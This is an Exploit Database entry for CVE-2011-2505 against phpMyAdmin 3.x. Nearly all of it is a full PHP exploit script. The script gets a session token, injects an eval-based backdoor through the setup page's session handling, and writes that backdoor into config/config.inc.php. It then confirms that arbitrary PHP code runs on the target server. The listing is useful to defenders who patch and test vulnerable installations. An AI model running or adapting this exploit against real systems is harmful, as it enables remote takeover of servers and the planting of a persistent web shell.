phpMyAdmin 3.x Swekey Remote Code Injection Exploit



EDB-ID: 17514 CVE: 2011-2505 OSVDB-ID: 73611
Author: Mango Published: 2011-07-09 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

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<?php /*
# Exploit Title: phpMyAdmin 3.x Swekey Remote Code Injection Exploit
# Date: 2011-07-09
# Author: Mango of ha.xxor.se
# Version: phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1 
# CVE : CVE-2011-2505, CVE-2011-2506
# Advisory: http://www.xxor.se/advisories/phpMyAdmin_3.x_Multiple_Remote_Code_Executions.txt
# Details: http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html
*/
echo php_sapi_name()!=='cli'?'<pre>':'';?>
              .
       ,      )\     .
  .  ,/)   , /  ) ,  )\
  )\(  /)/( (__( /( /  )          __      __              ________        __                    __
 /  \  (   )|  |)  \  /          |  |\  /|  |            |  |  |  |      |  |                  (__)
(  ______ / |  |_____(  ______   |  | \/ |  |  __    __  |  |__|  |   ___|  |  __ ___________   __   __ _____
 \|  | \  \ |  |  |  |)|  | \  \ |  |    |  | |  |  |  | |  |  |  | /  / |  | |  |  |  |  |  | |  | |  |  |  |
  |  |_/__/ |__|  |__| |  |_/__/ |__|    |__| |__|__|  | |__| [][]|[]__[]|[][]|_[]  |_[][]|_[] [][][]__|  |__|
==|__|=================|__|=========================|__|======[]====[][]=|[]|[]=[]===[]==[]=[]===[]==============    
   phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1              [][]   []   [][]  []   []  [] []   []
   Remote Code Injection                                      []    [][]  []    []   []  [] []   []
   http://ha.xxor.se                                          [][] []  [] []    [][]  [][]  []   [] 
	 _   _  ___ __ ____ __ ___  ___       
	| |-| || _ |\   /\   /| _ ||   )      
	|_|-|_||_|_|/_._\/_._\|___||_|_\      
  ___  ___  ___ _  _  ___     ___ __ __  
 (  < | [_ /  /| || ||   )(_)|   |\ | /
  >__)|_[_ \__\|____||_|_\|_| |_|  |_|

Use responsibly.

<?php echo php_sapi_name()!=='cli'?'</pre>':'';

if(php_sapi_name()==='cli'){
	if(!isset($argv[1])){
		output("   Usage\n    ".$argv[0]." http://example.com/phpMyAdmin-3.3.9.2");
		killme();
	}
	$pmaurl = $argv[1];	
}else{
	$pmaurl = isset($_REQUEST['url'])?$_REQUEST['url']:'';
}
$code   = 'foreach($_GET as $k=>$v)if($k==="eval")eval($v);';
$cookie = null;
$token  = null;
if(!function_exists('curl_init')){
	output('[!] Fatal error. Need cURL!');
	killme();
}
$ch     = curl_init();
$debug  = 0;
if(php_sapi_name()!=='cli'){
?>
<form method=post>
URL: <input name=url value="<?php echo htmlspecialchars($pmaurl);?>"> Example: http://localhost:8080/phpMyAdmin-3.3.9.2<br/>
<input name=submit type=submit value=♥>
</form>
<pre>
<?php
if(!isset($_REQUEST['submit']))killme(true);
}

output("[i] Running...");

// Start a session and get a token
curl_setopt_array($ch, array(
	CURLOPT_URL => $pmaurl.'/setup/index.php',
	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_TIMEOUT => 4,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false
));
output("[*] Contacting server to retrive session cookie and token.");

$result = curl_exec($ch);
if(404 == curl_getinfo($ch, CURLINFO_HTTP_CODE)){
	output("[!] Fail. $pmaurl/setup/index.php returned 404. The host is not vulnerable or there is a problem with the supplied url.");
	killme();
}
if(!$result){
	output("[!] cURL error:".curl_error($ch));
	killme();
}
if(false !== strpos($result, 'Cannot load or save configuration')){
	output("[!] Fail. Host not vulnerable. Web server writable folder $pmaurl/config/ does not exsist.");
	killme();
}

// Extract cookie
preg_match('/phpMyAdmin=([^;]+)/', $result, $matches);
$cookie = $matches[1];
output("[i] Cookie:".$cookie);
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
output("[i] Token:".$token);

// Poison _SESSION variable
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);
curl_setopt($ch, CURLOPT_COOKIE, 'phpMyAdmin='.$cookie);
output("[*] Contacting server to inject code into the _SESSION[ConfigFile][Servers] array.");
if(!$result = curl_exec($ch)){
	output("[!] cURL error:".curl_error($ch));
	killme();
}

//echo htmlspecialchars($result,ENT_QUOTES);

// Save file
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/setup/config.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'submit_save=Save&token='.$token);
output("[*] Contacting server to make it save the injected code to a file.");
if(!$result = curl_exec($ch)){
	output("[!] cURL error:".curl_error($ch));
	killme();
}

//echo htmlspecialchars($result,ENT_QUOTES);

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/config/config.inc.php?eval=echo%20md5(123);');
curl_setopt($ch, CURLOPT_POST, 0);
output("[*] Contacting server to test if the injected code executes.");
if(!$result = curl_exec($ch)){
	output("[!] cURL error:".curl_error($ch));
	killme();
}
if(preg_match('/202cb962ac59075b964b07152d234b70/', $result)){
	output("[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!");
	output("[+] Use your browser to execute PHP code like this $pmaurl/config/config.inc.php?eval=echo%20'test';");
}else{
	output("[!] Code injection failed. This instance of phpMyAdmin does not apear to be vulnerable.");
}


curl_close($ch);

function output($msg){
	echo php_sapi_name()!=='cli'?htmlspecialchars("$msg\n",ENT_QUOTES):"$msg\n";
	flush();
}

function killme(){
	output("[*] Exiting...");
	echo php_sapi_name()!=='cli'?'<pre>':'';
	die();
}

echo php_sapi_name()!=='cli'?'<pre>':'';?>